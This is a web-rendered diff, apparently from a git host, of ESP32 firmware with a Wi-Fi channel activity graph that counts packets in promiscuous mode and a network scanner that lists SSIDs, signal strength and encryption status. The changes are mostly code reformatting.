sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
u8g2.drawStr(4, 57, buf);
u8g2.sendBuffer();
if (btnBack())
{
delay(200);
return;
}
delay(100);
} }
delay(100);
}
} }

181
src/wifi/wifi_analyzer.cpp
View File

@ -6,142 +6,131 @@
#include "../utils/buttons.h" #include "../utils/buttons.h"
// ===== CONFIG ===== // ===== CONFIG =====
#define GRAPH_WIDTH 128 #define GRAPH_WIDTH 128
#define GRAPH_HEIGHT 44 #define GRAPH_HEIGHT 44
#define GRAPH_TOP 10 #define GRAPH_TOP 10
#define MAX_POINTS 128 #define MAX_POINTS 128
#define SPIKE_THRESHOLD 30 #define SPIKE_THRESHOLD 30
// ===== STATE ===== // ===== STATE =====
struct SnifferGraph { struct SnifferGraph {
uint8_t graphData[MAX_POINTS]; uint8_t graphData[MAX_POINTS];
uint8_t currentChannel = 1; uint8_t currentChannel = 1;
volatile uint16_t packetCounter = 0; volatile uint16_t packetCounter = 0;
unsigned long lastChannelSwitch = 0; unsigned long lastChannelSwitch = 0;
unsigned long lastUpdate = 0; unsigned long lastUpdate = 0;
}; };
static SnifferGraph sniffer; static SnifferGraph sniffer;
// ===== CALLBACK ===== // ===== CALLBACK =====
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
{ if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) {
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) sniffer.packetCounter++;
{ }
sniffer.packetCounter++;
}
} }
// ===== INIT ===== // ===== INIT =====
void wifi_analyzer_start() void wifi_analyzer_start() {
{ // display init (safe to call again)
// display init (safe to call again) u8g2.clearBuffer();
u8g2.clearBuffer(); u8g2.setFont(u8g2_font_5x8_tr);
u8g2.setFont(u8g2_font_5x8_tr); u8g2.drawStr(0, 10, "Starting analyzer...");
u8g2.drawStr(0, 10, "Starting analyzer..."); u8g2.sendBuffer();
u8g2.sendBuffer();
// reset graph // reset graph
memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
sniffer.packetCounter = 0; sniffer.packetCounter = 0;
sniffer.currentChannel = 1; sniffer.currentChannel = 1;
// reset WiFi // reset WiFi
WiFi.disconnect(true, true); WiFi.disconnect(true, true);
esp_wifi_stop(); esp_wifi_stop();
delay(200); delay(200);
esp_wifi_deinit(); esp_wifi_deinit();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
esp_wifi_init(&cfg); esp_wifi_init(&cfg);
esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_storage(WIFI_STORAGE_RAM);
esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_start(); esp_wifi_start();
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
esp_wifi_set_promiscuous_rx_cb(snifferCallback); esp_wifi_set_promiscuous_rx_cb(snifferCallback);
esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous(true);
} }
// ===== HELPERS ===== // ===== HELPERS =====
static void switchChannel() static void switchChannel() {
{ sniffer.currentChannel++;
sniffer.currentChannel++; if (sniffer.currentChannel > 13)
if (sniffer.currentChannel > 13) sniffer.currentChannel = 1; sniffer.currentChannel = 1;
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
} }
static void updateGraph(uint8_t value) static void updateGraph(uint8_t value) {
{ for (int i = 0; i < MAX_POINTS - 1; i++) {
for (int i = 0; i < MAX_POINTS - 1; i++) sniffer.graphData[i] = sniffer.graphData[i + 1];
{ }
sniffer.graphData[i] = sniffer.graphData[i + 1];
}
sniffer.graphData[MAX_POINTS - 1] = value; sniffer.graphData[MAX_POINTS - 1] = value;
} }
static void drawGraph(uint16_t pktCount) static void drawGraph(uint16_t pktCount) {
{ u8g2.clearBuffer();
u8g2.clearBuffer(); u8g2.setFont(u8g2_font_5x8_tr);
u8g2.setFont(u8g2_font_5x8_tr);
char line1[16]; char line1[16];
char line2[16]; char line2[16];
sprintf(line1, "Ch:%d", sniffer.currentChannel); sprintf(line1, "Ch:%d", sniffer.currentChannel);
sprintf(line2, "Pkts:%d", pktCount * 5); sprintf(line2, "Pkts:%d", pktCount * 5);
u8g2.drawStr(0, 8, line1); u8g2.drawStr(0, 8, line1);
u8g2.drawStr(60, 8, line2); u8g2.drawStr(60, 8, line2);
for (int x = 1; x < GRAPH_WIDTH; x++) for (int x = 1; x < GRAPH_WIDTH; x++) {
{ int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
u8g2.drawLine(x - 1, y1, x, y2); u8g2.drawLine(x - 1, y1, x, y2);
} }
if (pktCount >= SPIKE_THRESHOLD) if (pktCount >= SPIKE_THRESHOLD) {
{ u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); }
}
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
// ===== LOOP ===== // ===== LOOP =====
void wifi_analyzer_loop() void wifi_analyzer_loop() {
{ static uint32_t lastPress = 0;
static uint32_t lastPress = 0; unsigned long now = millis();
unsigned long now = millis();
// channel hopping // channel hopping
if (now - sniffer.lastChannelSwitch >= 1000) if (now - sniffer.lastChannelSwitch >= 1000) {
{ sniffer.lastChannelSwitch = now;
sniffer.lastChannelSwitch = now; switchChannel();
switchChannel(); }
}
// graph update // graph update
if (now - sniffer.lastUpdate >= 200) if (now - sniffer.lastUpdate >= 200) {
{ sniffer.lastUpdate = now;
sniffer.lastUpdate = now;
uint16_t pktCount = sniffer.packetCounter; uint16_t pktCount = sniffer.packetCounter;
uint8_t scaled = pktCount * 2; uint8_t scaled = pktCount * 2;
uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
updateGraph(value); updateGraph(value);
drawGraph(pktCount); drawGraph(pktCount);
sniffer.packetCounter = 0; sniffer.packetCounter = 0;
} }
// optional: small debounce to not hammer CPU // optional: small debounce to not hammer CPU
if (millis() - lastPress < 10) if (millis() - lastPress < 10)
return; return;
} }

209
src/wifi/wifi_scan.cpp
View File

@ -1,15 +1,15 @@
#include <Arduino.h>
#include <WiFi.h>
#include "../ui/display.h" #include "../ui/display.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include <Arduino.h>
#include <WiFi.h>
#define MAX_NETWORKS 30 #define MAX_NETWORKS 30
struct WiFiNet { struct WiFiNet {
String ssid; String ssid;
int rssi; int rssi;
int channel; int channel;
bool encrypted; bool encrypted;
}; };
static WiFiNet networks[MAX_NETWORKS]; static WiFiNet networks[MAX_NETWORKS];
@ -17,136 +17,123 @@ static int networkCount = 0;
static int selectedIndex = 0; static int selectedIndex = 0;
// ===== SCAN ===== // ===== SCAN =====
void wifi_scan_start() void wifi_scan_start() {
{ u8g2.clearBuffer();
u8g2.clearBuffer(); u8g2.drawStr(10, 30, "Scanning WiFi...");
u8g2.drawStr(10, 30, "Scanning WiFi..."); u8g2.sendBuffer();
u8g2.sendBuffer();
WiFi.mode(WIFI_STA); WiFi.mode(WIFI_STA);
WiFi.disconnect(); WiFi.disconnect();
delay(100); delay(100);
int n = WiFi.scanNetworks(); int n = WiFi.scanNetworks();
networkCount = min(n, MAX_NETWORKS); networkCount = min(n, MAX_NETWORKS);
for (int i = 0; i < networkCount; i++) for (int i = 0; i < networkCount; i++) {
{ networks[i].ssid = WiFi.SSID(i);
networks[i].ssid = WiFi.SSID(i); networks[i].rssi = WiFi.RSSI(i);
networks[i].rssi = WiFi.RSSI(i); networks[i].channel = WiFi.channel(i);
networks[i].channel = WiFi.channel(i); networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); }
}
selectedIndex = 0; selectedIndex = 0;
} }
// ===== DRAW ===== // ===== DRAW =====
void wifi_scan_draw() void wifi_scan_draw() {
{ u8g2.clearBuffer();
u8g2.clearBuffer();
if (networkCount == 0) if (networkCount == 0) {
{ u8g2.drawStr(0, 30, "No networks");
u8g2.drawStr(0, 30, "No networks"); u8g2.drawStr(0, 45, "Press BACK");
u8g2.drawStr(0, 45, "Press BACK"); } else {
char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, counter);
u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++) {
int idx = selectedIndex + i;
if (idx >= networkCount)
break;
int y = 22 + i * 14;
if (i == 0) {
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = networks[idx].ssid;
if (text.length() > 10)
text = text.substring(0, 10) + "..";
text += " (" + String(networks[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
} }
else }
{
char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, counter);
u8g2.setFont(u8g2_font_6x10_tr); u8g2.sendBuffer();
for (int i = 0; i < 3; i++)
{
int idx = selectedIndex + i;
if (idx >= networkCount) break;
int y = 22 + i * 14;
if (i == 0)
{
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = networks[idx].ssid;
if (text.length() > 10)
text = text.substring(0, 10) + "..";
text += " (" + String(networks[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
}
}
u8g2.sendBuffer();
} }
// ===== DETAILS ===== // ===== DETAILS =====
void wifi_drawDetails() void wifi_drawDetails() {
{ if (networkCount == 0)
if (networkCount == 0) return; return;
WiFiNet &net = networks[selectedIndex]; WiFiNet &net = networks[selectedIndex];
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 10, net.ssid.c_str()); u8g2.drawStr(0, 10, net.ssid.c_str());
char rssi[20]; char rssi[20];
sprintf(rssi, "RSSI: %d", net.rssi); sprintf(rssi, "RSSI: %d", net.rssi);
u8g2.drawStr(0, 20, rssi); u8g2.drawStr(0, 20, rssi);
char ch[20]; char ch[20];
sprintf(ch, "CH: %d", net.channel); sprintf(ch, "CH: %d", net.channel);
u8g2.drawStr(0, 30, ch); u8g2.drawStr(0, 30, ch);
u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
// ===== LOOP ===== // ===== LOOP =====
void wifi_scan_loop() void wifi_scan_loop() {
{ static uint32_t lastPress = 0;
static uint32_t lastPress = 0;
if (millis() - lastPress < 150) if (millis() - lastPress < 150)
return; return;
if (btnDown() && selectedIndex < networkCount - 1) if (btnDown() && selectedIndex < networkCount - 1) {
{ selectedIndex++;
selectedIndex++; wifi_scan_draw();
wifi_scan_draw(); lastPress = millis();
lastPress = millis(); } else if (btnUp() && selectedIndex > 0) {
} selectedIndex--;
else if (btnUp() && selectedIndex > 0) wifi_scan_draw();
{ lastPress = millis();
selectedIndex--; } else if (btnSelect() && networkCount > 0) {
wifi_scan_draw(); wifi_drawDetails();
lastPress = millis(); delay(3000);
} wifi_scan_draw();
else if (btnSelect() && networkCount > 0) lastPress = millis();
{ }
wifi_drawDetails(); // else if (btnBack())
delay(3000); // {
wifi_scan_draw(); // wifi_scan_start();
lastPress = millis(); // wifi_scan_draw();
} // lastPress = millis();
// else if (btnBack()) // }
// {
// wifi_scan_start();
// wifi_scan_draw();
// lastPress = millis();
// }
} }